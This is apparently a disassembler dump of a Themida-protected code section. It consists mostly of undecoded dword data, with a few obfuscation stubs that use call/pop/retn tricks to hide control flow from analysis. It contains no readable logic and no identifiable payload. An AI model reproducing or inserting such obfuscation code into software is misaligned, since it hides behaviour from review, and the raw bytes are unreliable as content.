		dd 0B589F3B7h, 7FA2441h, 16E9h,	91B58B00h, 0C707FA00h
		dd 0FE194485h, 7, 0CD8D8900h, 8D07FA17h, 0FA2EF19Dh, 0FF238107h
		dd 8BFFFFFEh, 0FA0009B5h, 0DB8C6607h, 0B4D9531h, 0C3F607FAh
		dd 7E840F04h, 29000000h, 0FA24C595h, 0A595FF07h, 6A07FA10h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0ABD9C356h, 0E850D583h, 13h, 3972F59Ah, 0FED82102h
		dd 6B708C20h, 0D5F6F2C3h, 503297CAh, 0E8310F52h, 6, 0AFDA7364h
		dd 5A5E3FDBh, 4895F58h,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0F1E8A44Fh, 730BE397h
		dd 390E953h, 0EE810000h, 482EEC90h, 0FA8B00B0h,	71E470E6h
		dd 467213BEh, 0D8B60F27h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0FFC35343h, 0ABD99F92h, 6BAD583h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0E8B6C355h, 8BC38B43h, 0FA2601BDh, 4E8C107h
		dd 11E9h, 0D68A0B00h, 0D5A0DB22h, 0ABDB4BD4h, 493E19F5h
		dd 0BD89D2CCh, 7FA3105h, 0BFE2F766h, 5701BCF6h,	1565BD89h
		dd 0D82B07FAh, 6F1BD8Bh, 8B5007FAh, 241C89F3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 71C35141h, 191027F5h
		dd 4A9158C3h, 719B5FFh,	6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0C5DC34C3h, 0E8DC6972h
		dd 14A1BD8Bh, 95FF07FAh, 7FA1019h, 5E9h, 24AA1500h, 0B054EAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DEC35646h
		dd 0CDB5294Dh, 0F07FA1Ch, 70E6FEBFh, 8E8h, 8628DD00h, 0B0EC7376h
		dd 29BD8B12h, 5E07FA0Eh, 816671E4h, 3C625AE6h, 43830F61h
		dd 6A000002h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 4281C352h, 0F763400h, 6AD8B6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0B7D4B1C3h, 6BAh, 15858900h,	8B07FA10h, 51006AC3h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0C1850523h, 8F0F04E8h, 0
; ---------------------------------------------------------------------------
		mul	dx
		sub	si, 2ACBh
		sub	ebx, eax
		push	0
		push	edx
		call	sub_5C52F1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C52F1	proc near		; CODE XREF: Themida_:005C52E9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C52F1	endp

; ---------------------------------------------------------------------------
		db 42h,	0CCh, 3Dh
		dd 1EEEB8EDh, 8B0F8385h, 0FA1D6DB5h, 6A5807h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5D1B2C3h
		dd 6819D89h, 0D82B07FAh, 16C880Fh, 7B90000h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 41B3C353h, 4163238Ch, 663640DCh, 832F1BBFh
		dd 0F98B00C1h, 860FD93Bh, 132h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 45C35343h, 8C660D48h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0F625925Dh, 840F04C1h, 0E6h,	22EE8166h, 6E982h, 0EBD50000h
		dd 32A5F084h, 10A595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 346AEDC3h, 1DB4AC10h
		dd 51BD8B19h, 5B07FA2Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0C6C35343h, 99221C35h, 69BD8BFFh, 8107FA25h
		dd 590E2DDEh, 0E8C32B79h, 0Dh, 750553D1h, 3F9DD382h, 167A5511h
		dd 5952924h, 5E07FA34h,	8343Dh,	53860F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0E132C357h, 8629D4A3h, 89F38BA5h, 0FA2E7D85h, 28E907h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 7ACF98C3h, 22E7F1D8h, 0C08B2342h,	0C38BF08Bh
		dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D15D0DC3h, 8166B13Eh, 0C7A6B8F6h, 0FA0DA585h
		dd 1FD97507h, 69BD8B77h, 8B07FA20h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 6493F3BDh
		dd 932C795h, 0FA1CBD95h, 0E7EE8107h, 812EB708h,	0FA0719BDh
		dd 7D007h, 29850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 3E7EC356h, 1985FF40h
		dd 0BE07FA07h, 7B9196E9h, 719B5FFh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 831238C3h
		dd 0B95B6032h, 8B1E30AAh, 0FA1131B5h, 2DBD8907h, 0FF07FA0Dh
		dd 0FA101995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 8AD7B348h, 12E890h, 0C44C0000h
		dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h,	6663F781h
		dd 5EF5546Bh, 7BD78166h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 89AF5AA0h, 0FA0B1985h
		dd 6830F07h, 8B000000h,	0FA0D4DBDh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 91BD895Fh
		dd 0F07FA1Dh, 0CE9FBB7h, 8E000000h, 0BC6AA5D8h,	0D0AAD96Ch
		dd 814DD75Ch, 0BDE1F5F6h, 4DBD8B4Eh, 8B07FA10h,	0FA352DBDh
		dd 0F9BD8B07h, 6A07FA0Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0AD71C351h,	0EB0586Ch
		dd 660ECE4Dh, 0FCE6BBEh, 68Fh, 0D0E68100h, 6A4AF2A2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0ECF3C355h, 2BA96030h, 6E9EDh, 311F0000h, 0B85AABCAh
		dd 0FFF87DE9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FB0775Ch, 0C85h, 0C5BD8900h
		dd 3107FA11h, 0FA0DBDB5h, 6AC18B07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 430EC356h
		dd 5C881676h, 0EB2F9C2Fh, 4, 0F1B70F00h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0DDC35141h, 0A0F85E52h
		dd 0F8BF0F08h, 199858Dh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 505EBAC3h, 0AB1A5531h
		dd 0E860768Ah, 6, 5535E90Bh, 0C88A61C6h, 0C0A5B85Bh, 90616660h
		dd 5820F51h, 0BE000000h, 2F5378DFh, 2990505Fh, 0FA2DA595h
		dd 0F08B6607h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 6B026BC3h, 8B006AB5h, 0FA0DE5BDh
		dd 0CE858D07h, 6A07FE24h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 85C4C356h, 0C9D53FC1h
		dd 6B26C1FAh, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0DE19C356h,	683B7D8Bh
		dd 71975F9Fh, 0AE9h, 77EE0300h,	924BCD82h, 500AC873h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 5FC2C352h, 0FD135090h, 0CE27BE85h, 6A054Eh
		dd 0EE8h, 0A36E7500h, 33712E7Bh, 0FC4DFF8h, 0F85979A0h
		dd 60006A5Eh, 12E957h, 107B0000h, 0DD0F970Dh, 4D70DE3Ch
		dd 4D371E90h, 0A7C15D7Dh, 8C0F6059h, 0
; ---------------------------------------------------------------------------
		cmc
		popa
		popa
		call	dword ptr [ebp+7FA2BE9h]
		push	0
		push	ebp
		call	sub_5C5890
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5890	proc near		; CODE XREF: Themida_:005C5888p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C5890	endp

; ---------------------------------------------------------------------------
		dd 0F09C4245h, 11E90Dh,	0FF6B0000h, 9AF4AA85h, 54839CE3h
		dd 15D734FFh, 8D0AB2C7h, 0FDD7119Dh, 0D3FFF807h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4C35747h, 0FA8B6626h
		dd 104985FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 253DD4C3h, 7D64FBCBh, 0E933F2AEh
		dd 804h, 0E8h, 0ED815D00h, 7FE24D8h, 2E5D9589h,	0BD8107FAh
		dd 7FA0719h, 7D0h, 0F0860Fh, 0F88B0000h, 26199D8Bh, 816607FAh
		dd 812BF3EFh, 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8529A1E5h, 7FA0B45h, 850FDB0Bh
		dd 71h,	13EE8166h, 76D78133h, 8368BB3Eh, 0FE22C8BDh, 840F0007h
		dd 1Eh,	8519D29h, 58E907FAh, 0E9000000h, 0Eh, 86049BAh
		dd 6F27BAA7h, 0EAD87DD6h, 85C786C0h, 7FE22C8h, 1, 0B25BD89h
		dd 30E907FAh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0F3AFC353h,	8BDB0685h
		dd 0FA0549B5h, 0C885C707h, 7FE22h, 8D000000h, 0FA26199Dh
		dd 0FF238107h, 0FFFFFFEh, 1F89h, 2FBE6000h, 0E8205DA2h
		dd 12h,	7C5FBEF6h, 0E40604ABh, 0A39AA88h, 2DB9E47Dh, 6159A8B2h
		dd 16C99529h, 8C6607FAh, 50006ADBh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 2CC1407Dh, 1924844h, 0FA005985h
		dd 4C3F607h, 59840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 226C6FC3h, 89B2D189h
		dd 0FA316D8Dh, 11B50907h, 0FF07FA08h, 0FA10A595h, 358D2907h
		dd 5007FA14h, 11E9h, 0C5398F00h, 8F9E7A0Dh, 0A54C3C8Bh
		dd 7601A456h, 489A914h,	8DBD3324h, 0E907FA01h, 402h, 799ABE66h
		dd 0B625BE66h, 0F78100B0h, 4042C94h, 6A70E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AE729C3h
		dd 57375BE6h, 0BD895FF5h, 7FA1051h, 0F18B71E4h,	6AD8B60Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8EE8C352h, 10E967EBh, 0FF000000h,	9573F525h
		dd 0A3FCD63Ch, 388A2DC1h, 0BA947AE3h, 6, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0D9C35646h, 8D29C38Bh
		dd 7FA0755h, 8B04E8C1h,	0FA2721B5h, 0E2F76607h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6CC35141h, 0D82BFCCCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 4CC35040h
		dd 58D0F50h, 0BF000000h, 7EA5445Ch, 0E9241C89h,	12h, 0FF980036h
		dd 0EBE16AA8h, 93706450h, 0D8D3EF53h, 0B5FFA9F0h, 7FA0719h
		dd 101995FFh, 0B70F07FAh, 6A00B0F7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CA9FC355h
		dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0ADA348C3h, 9BDA77B6h, 34B4BF50h,	0B58B66F5h
		dd 7FA23D1h, 613C71E4h,	28C830Fh, 9D310000h, 7FA0CADh
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0F91FC355h, 361803FFh,	6BA9F65h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 81F9C352h, 0C38BF08Bh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A2C35646h, 730097A8h
		dd 0E8C1EDB6h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 9F59AD0Ch, 0BD349D06h
		dd 6060FF97h, 29CBBF0Fh, 0FA0585BDh, 0B58B6107h, 7FA2EEDh
		dd 0E2F76661h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0D4C35141h, 2B10C97Bh, 8358353Ah, 0BD3160B0h, 7FA1539h
		dd 0BE9h, 0E7C7F000h, 84301028h, 0BE4B4927h, 6AD82B61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 2EF6C352h, 0BE37CE81h, 81523F0Dh,	23AF0DCFh
		dd 2B585E07h, 67880FD8h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 440CC356h
		dd 0F5F839A8h, 0BD8960C8h, 7FA3231h, 0AE9h, 82F96800h
		dd 93F0E22Fh, 61A7BCD3h, 80C941BFh, 7B90Dh, 0B58B0000h
		dd 7FA08CDh, 6A00C183h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0F46FC350h,	0FAC8C389h
		dd 0D93B14FAh, 0F0860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E9447AC3h, 0Fh, 5E616961h
		dd 0C959CFCDh, 0A86AE916h, 6617482Fh, 6AD98Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0E69B80C3h, 830FD7AAh, 1Bh, 14E8h, 1BDAF700h, 63F59562h
		dd 4B3A79F3h, 0CDB8D251h, 314ABDF9h, 0F65EF80Fh, 840F04C1h
		dd 64h,	20B98D89h, 8D0F07FAh, 6, 2F518D29h, 95FF07FAh
		dd 7FA10A5h, 5BFABF0Fh,	9E9h, 9C7E200h,	83D80CB2h, 0C32BD130h
		dd 2B69B58Bh, 343D07FAh, 0F000008h, 2786h, 69BD8900h, 0E907FA27h
		dd 2Ah,	11850F60h, 0E9000000h, 0Ch, 9EA93D9h, 0EE56AFDFh
		dd 773A5DECh, 61D7BF0Fh, 800FC08Bh, 6, 1D7D8D89h, 0C38B07FAh
		dd 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B52915C3h, 7FA2DC9h, 2EF185C7h, 57B307FAh
		dd 8B535697h, 0FA0305B5h, 0C08B5E07h, 0E1B58B60h, 0F07FA00h
		dd 28Fh, 615E5000h, 211DBD8Bh, 0BD8107FAh, 7FA0719h, 7D0h
		dd 51850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 84B5B4C3h, 2F858529h, 8B6607FAh
		dd 1985FFF2h, 6A07FA07h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 944EC351h, 1D7F0A73h
		dd 0FF013762h, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B30DBD2h
		dd 0FA16E9B5h, 1995FF07h, 8907FA10h, 0FA0AE19Dh, 6A9007h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 60B014C3h, 68B0Fh, 858B0000h, 7FA2535h, 1C5AEF81h, 6A614316h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 406FC351h, 0B78F1C3h, 0BF660636h,	6060D321h
		dd 8C0Fh, 61F80000h, 2820Fh, 5F500000h,	53006A61h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 8F0F60B3h, 15h, 10E9h, 10A5DE00h, 0A9071F37h, 293350F0h
		dd 0FBB30C7Bh, 0BE61F54Ch, 6325210Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 7EC35545h, 8BF1B4B0h, 6A8FEEh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 66E1FFC3h, 6E96092h,	0D2000000h, 974C2658h, 2BF98BD4h
		dd 0FA0F59B5h
		dd 6DE96107h, 6AFFFFF8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 9431C356h, 8A0FA5DCh
		dd 15h,	10E9h, 0F3C6F700h, 366A9772h, 0C683C607h, 14166A77h
		dd 880F5209h, 6, 1539BD33h, 665F07FAh, 609DF3BFh, 2099BD29h
		dd 840F07FAh, 14h, 233D958Bh, 9E907FAh,	29000000h, 0BAC7CDC6h
		dd 8D62A347h, 61CA8B66h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0B0D9C2C3h, 0A01E2319h
		dd 1C298D89h, 0BF0F07FAh, 4EBFAh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 91D4C357h, 32D78166h, 99858D70h, 6A07FA01h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 8D10C357h, 5090C548h, 8F32BE66h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0DF2BF3B5h
		dd 0FF6DBF66h, 8B66006Ah, 25CBFF1h, 6A2310h, 3515BD8Bh
		dd 858D07FAh, 7FE2EEFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0F7C35545h, 0C083E4F1h, 9DBD8B05h, 9007FA0Bh
		dd 0C40F76BEh, 52505077h, 0EE8h, 58BBB600h, 7A743B19h
		dd 2BE7201Fh, 50CC41F3h, 5A310F52h, 310F5F58h, 3190585Ah
		dd 0FA07C98Dh, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 39EC357h, 0FA16C9B5h
		dd 6A006A07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D0E8C351h, 2BE995FFh,	6A07FAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 48352AC3h, 3FE9C51Dh, 0E93A754Dh, 0Ch, 1FD8B817h, 0A01546BEh
		dd 278E4C0Fh, 0D7119D8Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8B572FC3h, 0FA0D7DBDh
		dd 0B70F5E07h, 6AD3FFFFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0A33FC355h,	0BD233FDAh
		dd 7FA1F39h, 1D259D89h,	0FE8B07FAh, 104985FFh, 6A07FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 4592BDC3h, 0BFFE9726h, 7E7843A9h, 87BE9h, 0E800h, 815D0000h
		dd 0FE2EF9EDh, 18C7BE07h, 0BD810149h, 7FA0719h,	7D0h, 165860Fh
		dd 0B5290000h, 7FA1CB9h, 0CC59D8Bh, 5E5307FAh, 100E381h
		dd 0B58B0000h, 7FA1BE1h, 1E49B58Bh, 0DB0B07FAh,	0A6850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 172320C3h, 33E16C84h, 0FA0525BDh,	6BD8307h
		dd 7FE2Dh, 35840Fh, 89510000h, 0FA13E5B5h, 9CE95F07h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0F5CC353h, 684h, 0B1858900h, 0C707FA27h
		dd 0FE2D0685h, 107h, 5B9ABE00h,	60E92731h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0EBA5C355h, 55A565F4h, 0B58B9836h, 7FA16A9h,	2D0685C7h
		dd 7FEh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1D0424h, 51410000h, 3FB9B6C3h, 0EDFA21Dh, 5063D742h
		dd 2B55B58Bh, 8D5F07FAh, 0FA0CC59Dh, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 3B931896h
		dd 81D37B16h, 397EA7CFh, 0FF238103h, 6AFFFFFEh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 8AF4C350h, 0DD3D7CF9h, 8BF85E52h, 0FA1F75B5h, 66F88B07h
		dd 0C3F6DB8Ch, 3E840F04h, 0F000000h, 48Ch, 0D2BF6600h
		dd 0A595FF28h, 8B07FA10h, 800F90F3h, 1Dh, 7E85250h, 0FF000000h
		dd 0C84DB852h, 0F5FA254h, 5E931h, 78D60000h, 5A7A0536h
		dd 8B905058h, 0FA1F59B5h, 42DE907h, 47BF0000h, 0B0616E9Bh
		dd 0BDB53300h, 6007FA29h, 4850Fh, 0BF660000h, 9E8A68Eh
		dd 5000000h, 398761D0h,	0F7AF260Dh, 615FEF8Ah, 0BE6070E6h
		dd 1EDE24FFh, 4677E181h, 0E4617D0Ah, 55006A71h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2391E3A5h
		dd 0B58B5316h, 7FA0E29h, 840Fh,	81660000h, 0F4A0ED7h, 6AD8B6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0D7F7AC3h, 81605A1Ch, 0D5A89DE6h, 5D8D8950h,	6107FA23h
		dd 6BAF78Bh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0B817C355h,	46BE1FD8h
		dd 0BD03A015h, 7FA189Dh, 8E8C38Bh, 0C6000000h, 0A2610537h
		dd 816E94BBh, 394797CEh, 0E8C15E0Bh, 56006A04h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0F76666B4h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0ED109B9Ah, 0ED95892Dh, 6007FA2Eh, 62D8589h
		dd 870F07FAh, 5, 7AF68166h, 0D82B61CFh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 0DC35343h, 0F64A5071h
		dd 0BE71531Dh, 6880Fh, 0B50B0000h, 7FA32D1h, 241C8950h
		dd 0B9D8D29h, 0B5FF07FAh, 7FA0719h, 5E9h, 0C8C08C00h, 0B58B8571h
		dd 7FA1DBDh, 101995FFh,	850107FAh, 7FA2F5Dh, 0E6F800B0h
		dd 53006A70h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 8A0Fh, 71E40000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DAC35747h
		dd 7E9h, 0EA0EB700h, 0E913FCA6h, 830F613Ch, 22Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h, 0A4B4B564h
		dd 2375ACBFh, 0F78B66DAh, 6AD8B60Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8CB7C352h
		dd 1722D79h, 6890F34h, 8B000000h, 0FA16B5BDh, 6BA07h, 0FC510000h
		dd 66C38B5Eh, 0E8C1F98Bh, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 5B24E14Dh
		dd 3EF53EADh, 351168Dh,	0FA30B9BDh, 0BF0F5F07h,	0E2F766F3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h
		dd 702604CBh, 6961DAE5h, 5FF78B52h, 9D89D82Bh, 7FA2601h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0E19872DAh, 71A91689h, 0F88B66B4h, 880FD82Bh
		dd 133h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0C1C35545h, 0BF0FF591h,	7B9F3h,	0BE660000h, 8B665F20h
		dd 0C183F9h, 6640EF81h,	0D93B096Bh, 0F5860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 7CF474C3h, 2A9B046Eh, 2971B77Bh, 0FA29ED8Dh,	0A1BD8B07h
		dd 6607FA11h, 0C1F6D98Ch, 0B3840F04h, 89000000h, 0FA1659BDh
		dd 9BD8B07h, 0FF07FA2Bh, 0FA10A595h, 1DBD0B07h,	8107FA18h
		dd 3E5E80C6h, 0BD8B5B5Ah
		dd 7FA34D1h, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4BAAE2C3h, 89A9FAE1h, 0FA2BA18Dh
		dd 75958907h, 3D07FA25h, 834h, 54860Fh,	6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0CF86AC3h, 45F8299Eh, 0ED9D8914h, 0F807FA00h, 2AE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0BFF89367h, 6ABEDBD0h, 0C08BCCA7h, 8BF98B66h
		dd 6AD88BC3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0E2E9C352h, 8DC6E95Ah,	1985C7AEh
		dd 3307FA26h, 0E91A6341h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh
		dd 6AC08B7Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8BCEC350h, 0B1B4F00Dh,	8BD681A2h
		dd 817DD783h, 0FA0719BDh, 7D007h, 30850F00h, 0BF000000h
		dd 57583836h, 71985FFh,	6A07FAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0A1A5A9C3h, 8166EBABh
		dd 0FF6C21DEh, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 11F9A9EEh
		dd 87E9FDCFh, 0BD8B2A71h, 7FA07A5h, 51D989BFh, 1995FF4Ah
		dd 6A07FA10h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 3BAFC350h, 55AD6B2h, 6A9056h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 13E805C3h, 95000000h, 3A4436A9h, 1B086468h, 57171CB8h
		dd 0D452E3D0h, 0B58918DEh, 7FA0005h, 39B5895Fh,	8B07FA1Fh
		dd 0FA15B1B5h, 3D78107h, 81658525h, 0BBA12DD7h,	57006A4Bh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 13A289B5h, 8D5D1177h, 0BD890AB3h, 7FA0185h, 287DB533h
		dd 0B52907FAh, 7FA2495h, 1099B58Bh, 14E907FAh, 77000000h
		dd 7AE2C96Dh, 2BAE147Dh, 43015B88h, 0E0DE2CD3h,	8B88E366h
		dd 0FA239DBDh, 9D8B6007h, 7FA0F79h, 21C1B50Bh, 6E807FAh
		dd 67000000h, 0C6EBDFA5h, 0D9958B2Fh, 107FA00h,	0FA233585h
		dd 0B58B5B07h, 7FA298Dh, 51006A61h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 66EE9174h, 5F51F98Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h
		dd 0B58BEAD0h, 7FA18D1h, 0FFF7CCE9h, 52006AFFh,	3E8h, 0C35A2000h
